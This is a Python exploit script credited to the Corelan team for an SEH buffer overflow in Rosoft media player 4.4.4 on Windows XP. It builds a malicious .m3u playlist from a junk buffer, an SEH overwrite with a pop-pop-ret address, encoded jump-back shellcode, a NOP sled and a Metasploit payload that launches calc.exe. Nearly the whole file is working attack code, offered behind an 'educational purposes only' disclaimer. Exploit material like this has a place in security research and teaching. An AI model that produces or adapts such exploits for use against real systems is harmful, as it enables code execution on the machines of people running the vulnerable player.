#!/usr/bin/python

# #######################################################################
# Title:                Rosoft media player 4.4.4 SEH buffer overflow
# Date:                 August 15, 2010
# Author:               dijital1 
# Original Advisory:    http://www.exploit-db.com/exploits/14601 - abhishek lyall
# Platform:             Windows XP SP3 EN Professional - VMware
# Greetz to:            Corelan Security Team, Exploit-db, OffSec
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code. 
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
 
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "   -= Exploit for Rosoft media player 4.4.4 (SEH) - dijital1 =-     "


outputfile="exploit.m3u"


junk="\x41"*3470

nseh="\xeb\x88\x90\x90" #reverse jump 118 bytes

seh="\x49\xd4\x46\x00" # PPR - 0046D449 - Taken from the exe. The null byte terminates 
		               # the copy but because we have a big area to work with prior to
                       # to reaching the SEH, this exploit is still possible.


# The following shellcode makes use of the GetPC technique for copying EIP into ECX.
# ECX is then adjusted to move execution 775 bytes earlier in the buffer. We need to
# to jump back further than what a short jump will allow hence the following...
#
# Referenced: phrack #62 Article 7 Originally written by Aaron Adams
#
# msfencode -i ./768bck.bin -e x86/alpha_upper -t c
# [*] x86/alpha_upper succeeded with size 107 (iteration=1)

revjump=("\x89\xe7\xdb\xd7\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4e\x39\x4a\x4e\x49\x49\x43\x44"
"\x51\x34\x4c\x34\x50\x59\x4b\x30\x4f\x31\x44\x4a\x4a\x30\x4b"
"\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4f\x4d\x31"
"\x41\x41")

# NOP sled between the main payload and the reverse jump shellcode
sled="\x90"*60


# msfpayload windows/exec CMD=calc.exe R | ./msfencode -e x86/alpha_upper -t c
# [*] x86/alpha_upper succeeded with size 471 (iteration=1)
shellcode=("\x89\xe5\xdb\xc5\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x45\x50"
"\x45\x50\x45\x50\x43\x50\x4d\x59\x4b\x55\x46\x51\x49\x42\x45"
"\x34\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x50\x52\x42\x34\x4c\x4b\x43\x42\x47\x58\x44\x4f\x4f\x47\x50"
"\x4a\x47\x56\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x4f\x37\x4b\x52\x4a\x50\x51\x42\x50\x57\x4c\x4b"
"\x51\x42\x44\x50\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4d\x55\x4f\x30\x42\x54\x50\x4a\x43\x31"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x51\x48\x47"
"\x50\x43\x31\x4e\x33\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34"
"\x4c\x4b\x43\x31\x48\x56\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x4f\x31\x48\x4f\x44\x4d\x43\x31\x4f\x37\x46\x58\x4b\x50"
"\x43\x45\x4a\x54\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"
"\x54\x42\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45"
"\x4c\x45\x51\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50"
"\x4c\x49\x50\x44\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x46"
"\x39\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a"
"\x4c\x4b\x42\x32\x4a\x4b\x4d\x56\x51\x4d\x43\x5a\x43\x31\x4c"
"\x4d\x4c\x45\x48\x39\x45\x50\x45\x50\x45\x50\x46\x30\x42\x48"
"\x50\x31\x4c\x4b\x42\x4f\x4b\x37\x4b\x4f\x49\x45\x4f\x4b\x4a"
"\x50\x48\x35\x4f\x52\x46\x36\x45\x38\x49\x36\x4a\x35\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x44\x4a\x4d"
"\x50\x4b\x4b\x4b\x50\x42\x55\x44\x45\x4f\x4b\x47\x37\x44\x53"
"\x44\x32\x42\x4f\x42\x4a\x43\x30\x46\x33\x4b\x4f\x49\x45\x45"
"\x33\x45\x31\x42\x4c\x42\x43\x46\x4e\x42\x45\x44\x38\x43\x55"
"\x45\x50\x45\x5a\x41\x41")


payload=junk+shellcode+sled+revjump+nseh+seh

FILE = open(outputfile, "w")
FILE.write(payload)
FILE.close()


print "\nExploit written to: " + outputfile + "\n"